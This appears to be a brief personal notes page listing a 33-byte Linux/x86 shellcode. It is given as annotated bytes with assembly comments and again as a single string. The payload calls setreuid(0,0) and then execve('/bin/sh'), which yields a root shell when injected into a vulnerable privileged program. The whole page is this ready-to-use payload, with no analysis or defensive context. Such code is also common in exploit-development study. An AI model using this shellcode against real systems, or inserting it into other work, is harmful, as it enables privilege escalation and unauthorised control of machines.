lun4t1c@home:~$

shellcode

# 32 位

/*
 * (Linux/x86) setreuid(0,0) + execve("/bin/sh", ["/bin/sh", NULL])
 * - 33 bytes
 * - xgc@gotfault.net
 *
 */

  "\x6a\x46"			// push   $0x46
  "\x58"			// pop    %eax
  "\x31\xdb"			// xor	  %ebx, %ebx
  "\x31\xc9"			// xor	  %ecx, %ecx
  "\xcd\x80"			// int    $0x80

  "\x31\xd2"			// xor    %edx, %edx
  "\x6a\x0b"			// push   $0xb
  "\x58"			// pop    %eax
  "\x52"			// push   %edx
  "\x68\x2f\x2f\x73\x68"	// push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"	// push   $0x6e69622f
  "\x89\xe3"			// mov    %esp, %ebx
  "\x52"			// push   %edx
  "\x53"			// push   %ebx
  "\x89\xe1"			// mov    %esp, %ecx
  "\xcd\x80";			// int    $0x80

shellcode = "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"